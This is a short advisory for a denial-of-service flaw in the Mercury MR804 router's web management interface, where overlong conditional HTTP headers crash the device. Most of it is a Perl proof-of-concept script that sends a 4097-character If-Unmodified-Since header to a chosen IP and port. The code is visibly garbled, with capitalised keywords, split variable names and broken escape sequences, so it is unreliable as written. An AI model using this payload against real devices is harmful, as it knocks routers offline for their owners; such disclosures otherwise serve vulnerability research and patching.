Mercury MR804 DoS Vulnerability

Mercury MR804 is a small router product.
Mercury MR804 (Hardware Version: MR804 v8.0 081C3113, Software Version: 3.8.1 Build 101220 Rel.53006nB) has a security vulnerability in processing HTTP headers. You can use specially crafted HTTP headers to cause the device to stop responding.
Detailed Description: HTTP/WEB Management Interface (TCP80) of Mercury MR804) the value of "If-Modified-Since, If-None-Match, If-Unmodified-Since, and other fields in the HTTP header is too long (greater than or equal to 4097 characters) the HTTP request will crash immediately. You must restart the hardware device to recover it.

POC:
#-------------------------------------------------------------
#! /Usr/bin/perl-w
Use Socket;
$ | = 1;
Print '*********************************'. "\ n ";
Print '* mercurycom MR804 v8.0 DoS PoC *'. "\ n ";
Print '* writed by demonalex@163.com www.2cto.com *'. "\ n ";
Print '*********************************'. "\ n ";
$ Edevil = 'A' x4097;
$ Test_ip = shift; # target ip
$ Test_port = shift; # target port
If (! Defined ($ test_ip) |! Defined ($ test_port )){
Die "usage: $0 target_ip target_port \ n ";
}
$ Test_payload =
"GET/HTTP/1.0 \ r \ n ".
"Accept: */* \ r \ n ".
"Accept-Language: zh-cn \ r \ n ".
"UA-CPU: x86 \ r \ n ".
"If-Unmodified-Since:". $ edevil. "\ r \ n ".
"Accept-Encoding: gzip, deflate \ r \ n ".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;. net clr 1.1.4322 ;".
". Net clr 2.0.50727;. net clr 3.0.20.6.2152;. net clr 3.5.30729; 360SE) \ r \ n ".
"Host:". $ test_ip. "\ r \ n ".
"Connection: Keep-Alive". "\ r \ n ";
$ Test_target = inet_aton ($ test_ip );
$ Test_target = sockaddr_in ($ test_port, $ test_target );
Socket (SOCK, AF_INET, SOCK_STREAM, 6) | die "cannot create socket! \ N ";
Connect (SOCK, $ test_target) | die "cannot connect the target! \ N ";
Send (SOCK, $ test_payload, 0) | die "cannot send the payload! \ N ";
# Recv (SOCK, $ test_payload, 100, 0 );
Close (SOCK );
Print "done! \ N ";
Exit (1 );
#-------------------------------------------------------------
Solution:

Currently, the vendor has not provided patches or upgrade programs.

Author: demonalex